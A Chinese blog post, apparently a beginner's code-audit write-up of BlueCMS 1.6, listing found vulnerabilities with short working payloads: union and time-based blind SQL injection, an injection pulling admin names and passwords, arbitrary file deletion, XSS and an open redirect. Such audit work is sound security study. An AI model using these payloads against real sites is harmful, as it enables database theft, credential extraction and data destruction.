zoukankan      html  css  js  c++  java
  • Bluecms1.6代码审计

    ad_js sql注入

    数字型注入
    在这里插入图片描述

    1%20union%20select%201,2,3,4,5,6,(select%20user())
    

    在这里插入图片描述

    common.inc.php sql注入

    此文件在include下,应该是一些基础的函数或配置,所以任何包含此文件的都可以进行注入emmm
    找到publish.php,正好包含了该文件
    在这里插入图片描述
    common.inc.php注入点:

    if(!$_SESSION['user_id'])
    {
    	if($_COOKIE['BLUE']['user_id'] && $_COOKIE['BLUE']['user_name'] && $_COOKIE['BLUE']['user_pwd'])
    	{
     		if(check_cookie($_COOKIE['BLUE']['user_name'], $_COOKIE['BLUE']['user_pwd']))
    		{
     			update_user_info($_COOKIE['BLUE']['user_name']);
     		}
     	}
    	else if($_COOKIE['BLUE']['user_name'])
    	{
    
    		$user_name = $_COOKIE['BLUE']['user_name'];
    		$user = $db->query("SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name'");
    

    可以看到如果没有进行登陆,并且只有$_COOKIE['BLUE']['user_name']有值,就会进行sql查询,不过貌似这里只能盲注
    在这里插入图片描述
    延迟之后自动跳转到登陆页面,为了看的清晰我先把跳转注释了:
    在这里插入图片描述
    也没什么过滤,延时成功
    在这里插入图片描述
    poc:

    BLUE[user_name]:w4'and if(((ascii(mid((select database()),1,1)))=98),sleep(3),0)#
    

    publish.php 任意文件删除

    在第316行:
    在这里插入图片描述
    参数$act可控:
    在这里插入图片描述
    id也可控,新建一个test页面:
    在这里插入图片描述
    在这里插入图片描述

    publish.php?act=del_pic&id=test.php
    

    再次访问:
    在这里插入图片描述
    任意文件删除的地方有不少就列这一个吧~

    user.php xss

    邮箱处存在xss
    在这里插入图片描述
    在这里插入图片描述

    admin/card.php xss(反射型)

    name处无过滤直接输出,所以只能弹一下
    在这里插入图片描述

    name=<script>alert(1)</script>&value=1&price=1&act=do_edit&id=1
    

    在这里插入图片描述

    user.php 文件包含

    在这里插入图片描述
    这里包含点可控,但是主要是后面的index.php,%00截断不成功,我参考了网上的文章,用

    Windows下目录最大长度为256字节,Linux下目录最大长度为4096字节

    的思路,版本为5.2,但是怎么都包含不了,占坑

    comment.php xff注入

    payload;

    1','1'),('','1','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1
    

    在这里插入图片描述

    tpl_manage.php 任意文件修改

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    user.php 任意跳转

    在这里插入图片描述
    或许可以用来ssrf什么的,需要base64编码
    在这里插入图片描述

    总结

    第一次看cms,不知道从哪入手,有点无力,有些明显的洞有时候还是没注意,不过还好小型的cms代码没那么复杂,漏洞也比较简单好利用,算是第一次入手吧,还算小有收获,以后审cms最重要的还是得从用户输入着手看 只不过这个源码有点不稳定?(nah)

  • 相关阅读:
    Java补漏(一)
    PHP实现程序单例执行
    zabbix 配置外部邮件server发送邮件报警
    HTML+JavaScript实现链式运动特效
    对思归者的建议
    去除Notepad++打开文件后文字下面出现红色波浪线的问题
    ANSI是什么?
    Eclipse各版本代号一览表以及官网上有很多版本的eclipse,下载哪个版本比较合适呢?
    Java语言的发展史
    win10 64位JLink v8固件丢失修复总结
  • 原文地址:https://www.cnblogs.com/W4nder/p/12528857.html
Copyright © 2011-2022 走看看